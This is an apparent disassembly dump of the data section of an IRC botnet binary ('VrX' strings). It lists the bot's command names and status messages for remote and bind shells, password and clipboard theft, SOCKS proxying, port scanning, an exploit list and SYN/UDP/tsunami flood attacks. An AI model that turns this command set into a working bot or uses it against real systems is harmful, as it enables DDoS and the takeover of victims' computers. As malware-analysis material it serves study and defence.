dword_42BC64	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C04o
aFailedToSta_18	db '- Failed to start server thread, error: <%d>.',0
		align 10h
dword_42BCA0	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2B95o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BCC8	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2AE2o
dword_42BCD8	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo
dword_42BCE4	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo
dword_42BCF4	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2AC5o
unk_42BD04	db    3			; DATA XREF: sub_401ACD+2A52o
a81VrxReconne_1	db '8,1-VrX- Reconnecting.',0
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o
					; sub_401ACD:loc_409570o ...
		align 4
unk_42BD34	db    3			; DATA XREF: sub_401ACD+2A30o
a81VrxDisconnec	db '8,1-VrX- Disconnecting.',0
		align 10h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo
					; sub_401ACD+78C1o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo
		align 4
unk_42BD84	db    3			; DATA XREF: sub_401ACD+29D4o
a81VrxStatusRea	db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
		align 10h
unk_42BDB0	db    3			; DATA XREF: sub_401ACD+2995o
a81VrxBotIdS_	db '8,1-VrX- Bot ID: %s.',0
		align 4
unk_42BDC8	db  2Dh	; -		; DATA XREF: sub_401ACD+2986o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_19	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BE04	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+2917o
		dd 65726874h, 2E736461h, 0
dword_42BE24	dd 627573h		; DATA XREF: sub_401ACD+28F1o
unk_42BE28	db    3			; DATA XREF: sub_401ACD+289Fo
a81VrxAliasList	db '8,1-VrX- Alias list.',0
		align 10h
unk_42BE40	db  2Dh	; -		; DATA XREF: sub_401ACD+2884o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_20	db '- Failed to start listing thread, error: <%d>.',0
dword_42BE78	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2815o
		dd 2E676Fh
unk_42BE90	db    3			; DATA XREF: sub_401ACD+276Do
a81VrxNetworkIn	db '8,1-VrX- Network Info.',0
unk_42BEA8	db    3			; DATA XREF: sub_401ACD+273Eo
a81VrxSystemInf	db '8,1-VrX- System Info.',0
		align 10h
unk_42BEC0	db    3			; DATA XREF: sub_401ACD+26E9o
a81VrxRemovingB	db '8,1-VrX- Removing Bot.',0
unk_42BED8	db  2Dh	; -		; DATA XREF: sub_401ACD+26CDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_21	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42BF14	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+2658o
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+2638o
		align 4
unk_42BF38	db  2Dh	; -		; DATA XREF: sub_401ACD+25D9o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 4
unk_42BF58	db    3			; DATA XREF: sub_401ACD+2588o
a81VrxUptimeS_	db '8,1-VrX- Uptime: %s.',0
		align 10h
unk_42BF70	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F8Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 10h
unk_42BF90	db  2Dh	; -		; DATA XREF: sub_401ACD+24B6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BFB8	db  2Dh	; -		; DATA XREF: sub_401ACD+249Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
unk_42BFE4	db    3			; DATA XREF: sub_401ACD+2484o
a81VrxGetClipbo	db '8,1-VrX- Get Clipboard.',0
		align 10h
dword_42C000	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+2456o
		dd 2Dh
unk_42C018	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F13o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42C044	db  2Dh	; -		; DATA XREF: sub_401ACD+243Fo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42C068	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE8o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42C094	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 10h
unk_42C0C0	db  2Dh	; -		; DATA XREF: sub_401ACD+240Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42C0E4	db  2Dh	; -		; DATA XREF: sub_401ACD+23BAo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_22	db '- Failed to start server thread, error: <%d>.',0
		align 10h
unk_42C120	db  2Dh	; -		; DATA XREF: sub_401ACD+234Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C15C	db  2Dh	; -		; DATA XREF: sub_401ACD+2265o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_23	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C198	db  2Dh	; -		; DATA XREF: sub_401ACD+21FAo
					; sub_40BD91+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1D4	db  2Dh	; -		; DATA XREF: sub_401ACD+20F3o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42C210	db  2Dh	; -		; DATA XREF: sub_401ACD+2084o
					; sub_40BD91+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42C244	db  2Dh	; -		; DATA XREF: sub_401ACD+1FCFo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
unk_42C264	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403A86o
		db 3, 34h, 2
		db  4Dh	; M
		db 61h,	2 dup(53h)
		db  20h
		db 53h,	63h, 41h
		db  6Eh	; n
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start scan, port is invalid.',0
unk_42C29C	db  2Dh	; -		; DATA XREF: sub_401ACD+1F6Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_26	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42C2D8	db  2Dh	; -		; DATA XREF: sub_401ACD+1EFBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1ED0o
					; sub_401ACD+5B20o
		align 10h
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1EC9o
					; sub_401ACD+5B19o
		align 4
dword_42C358	dd 234032Dh, 3025A56h	; DATA XREF: sub_401ACD+1D0Fo
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
		align 4
unk_42C394	db  2Dh	; -		; DATA XREF: sub_401ACD+1CB2o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start search thread, error: <%d>.',0
unk_42C3D0	db  2Dh	; -		; DATA XREF: sub_401ACD+1C38o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1BEFo
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1BDEo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+1BC8o
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1BB1o
		align 4
aAs		db 'as',0               ; DATA XREF: sub_401ACD+1B9Co
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1B87o
unk_42C450	db    3			; DATA XREF: sub_401ACD+1B37o
a81VrxCrashingB	db '8,1-VrX- Crashing bot.',0
aShitycrash	db 'shitycrash',0       ; DATA XREF: sub_401ACD+1B21o
					; sub_401ACD+1B71o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B0Co
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1AF7o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1AE2o
		align 10h
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1ACDo
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1AB8o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1AA3o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1A8Eo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1A79o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1A64o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1A4Fo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A3Ao
		align 10h
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A25o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A10o
		align 10h
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+19FBo
unk_42C4F8	db  2Dh	; -		; DATA XREF: sub_401ACD+19BDo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+19A2o
					; sub_401ACD+3C81o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+198Eo
		align 4
unk_42C52C	db    3			; DATA XREF: sub_401ACD+196Eo
a81VrxLoginList	db '8,1-VrX- Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1939o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_4033F9o
dword_42C55C	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+1902o
dword_42C570	dd 6F6877h		; DATA XREF: sub_401ACD+18E5o
dword_42C574	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo
dword_42C580	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+18D5o
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+18BCo
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+18A7o
		align 10h
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+1892o
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+187Do
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+1868o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+1853o
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+183Eo
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1829o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+1814o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+17FFo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+17EAo
		align 10h
aKosomaky4d	db 'KOSOMAKY4D',0       ; DATA XREF: sub_401ACD+17C0o
					; sub_401ACD+17D5o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17ABo
		align 10h
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+1796o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+1781o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+176Co
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1757o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1742o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+172Do
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1718o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1703o
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+16EEo
aT:					; DATA XREF: sub_401ACD+16D9o
					; ___:00438B0Co
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16C4o
unk_42C634	db    3			; DATA XREF: sub_401ACD+1690o
a81VrxFailedToR	db '8,1-VrX- Failed to reboot system.',0
		align 4
unk_42C658	db    3			; DATA XREF: sub_401ACD+1689o
a81VrxRebooting	db '8,1-VrX- Rebooting system.',0
aR3start	db 'r3start',0          ; DATA XREF: sub_401ACD+1672o
aI:					; DATA XREF: sub_401ACD+165Do
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1648o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1633o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+161Eo
		align 10h
aQ:					; DATA XREF: sub_401ACD+1609o
					; ___:off_438778o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+15F4o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+15DFo
		align 10h
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15CAo
		align 4
aR:					; DATA XREF: sub_401ACD+15B5o
					; sub_401ACD+3D8Eo ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15A0o
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+158Bo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+1576o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1561o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1537o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1522o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+150Do
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+14F8o
		align 4
dword_42C718	dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+14E8o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14CFo
		align 4
dword_42C738	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14C4o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14BFo
		align 10h
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14A6o
		align 4
dword_42C75C	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+149Bo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+1496o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+147Do
		align 10h
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1468o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1453o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+143Eo
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1429o
		align 4
dword_42C7AC	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+1400o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+13D7o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13AEo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+1385o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+135Co
unk_42C7F4	db  2Dh	; -		; DATA XREF: sub_401ACD+1342o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C828	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1307o
					; sub_401ACD+13A3o
dword_42C838	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1302o
					; sub_401ACD+139Eo
dword_42C848	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+12E9o
					; sub_401ACD+137Ao
dword_42C858	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+12E4o
					; sub_401ACD+1375o
dword_42C868	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+1289o
					; sub_401ACD+13F5o
dword_42C874	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o
					; sub_401ACD+13F0o
dword_42C880	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo
					; sub_401ACD+13CCo
dword_42C88C	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o
					; sub_401ACD+13C7o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1206o
		align 4
dword_42C8A4	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+11FBo
					; sub_401ACD+12C8o
dword_42C8B0	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o
					; sub_401ACD+12C3o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+11DDo
		align 4
dword_42C8C8	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+11D2o
					; sub_401ACD+12AAo
dword_42C8D8	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11CDo
					; sub_401ACD+12A5o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11B4o
		align 4
dword_42C8F4	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11A9o
					; sub_401ACD+1328o
dword_42C904	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11A4o
					; sub_401ACD+1323o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+118Bo
		align 10h
dword_42C920	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o
					; sub_401ACD+124Ao
dword_42C92C	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo
					; sub_401ACD+1245o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1162o
dword_42C940	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1157o
					; sub_401ACD+122Co
dword_42C94C	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o
					; sub_401ACD+1227o
dword_42C958	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o
dword_42C964	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+112Eo
dword_42C974	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1129o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+1110o
		align 4
dword_42C994	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o
dword_42C9A0	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+1100o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+10E7o
dword_42C9B4	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10BEo
		align 10h
dword_42C9D0	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10B3o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+1095o
		align 4
dword_42C9EC	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+108Ao
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+106Co
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1057o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1042o
		align 4
dword_42CA14	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1037o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+1032o
					; sub_401ACD+1085o ...
		align 10h
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1019o
		align 10h
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+1004o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+FEFo
		align 10h
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FDAo
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FC5o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FB0o
					; sub_401ACD+2D26o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+F9Bo
					; sub_401ACD+2D15o
		align 10h
aSt		db 'st',0               ; DATA XREF: sub_401ACD+F86o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F71o
		align 10h
aRz		db 'rz',0               ; DATA XREF: sub_401ACD+F5Co
		align 4
aRulez		db 'rulez',0            ; DATA XREF: sub_401ACD+F47o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F32o
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F1Do
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F08o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+EF3o
		align 4
aDi3		db 'di3',0              ; DATA XREF: sub_401ACD+EC9o
					; sub_401ACD+EDEo
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+EB4o
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+E9Co
a63		db '63',0               ; DATA XREF: sub_401ACD+D69o
		align 4
asc_42CAB8:				; DATA XREF: sub_401ACD+D41o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D04o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+CF9o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+CE8o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CCCo
		align 10h
aUser_1		db '$user',0            ; DATA XREF: sub_401ACD+CBBo
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CA9o
aD		db '$%d',0              ; DATA XREF: sub_401ACD+C3Bo
aD_0		db '$%d-',0             ; DATA XREF: sub_401ACD+B77o
		align 4
asc_42CAF8:				; DATA XREF: sub_401ACD+A9Fo
		unicode	0, <l>,0
aH4ck3d		db 'H4CK3D',0           ; DATA XREF: sub_401ACD+A87o
		align 4
unk_42CB04	db  2Dh	; -		; DATA XREF: sub_401ACD+A64o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CB38	db  2Dh	; -		; DATA XREF: sub_401ACD+A53o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CB68	db  2Dh	; -		; DATA XREF: sub_401ACD+A42o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_28	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_42CBA0	db  2Dh	; -		; DATA XREF: sub_401ACD+9D3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+93Co
		align 4
unk_42CBC8	db  2Dh	; -		; DATA XREF: sub_401ACD+91Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CC0C	db  2Dh	; -		; DATA XREF: sub_401ACD+904o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_29	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CC48	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+8F3o
		dd 0A0Dh
dword_42CC60	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8BFo
dword_42CC68	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8B4o
		dd 0D017325h, 0Ah
dword_42CC84	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+883o
dword_42CC90	dd 23h			; DATA XREF: sub_401ACD+7FAo
					; sub_40CD43+1Bo
unk_42CC94	db  2Dh	; -		; DATA XREF: sub_401ACD+769o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+6EAo
					; sub_401ACD+979o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6C3o
		align 10h
dword_42CCD0	dd 43434401h, 0		; DATA XREF: sub_401ACD+6A5o
dword_42CCD8	dd 323333h		; DATA XREF: sub_401ACD+62Fo
					; sub_401ACD+AC1o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+60Do
					; sub_409869+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+601o
					; sub_409869+16o
unk_42CCEC	db    3			; DATA XREF: sub_401ACD+5B0o
a81VrxUserSLo_0	db '8,1-VrX- User: %s logged out.',0
		align 4
unk_42CD0C	db    3			; DATA XREF: sub_401ACD+590o
a81VrxJoinedC_0	db '8,1-VrX- Joined channel: %s.',0
		align 4
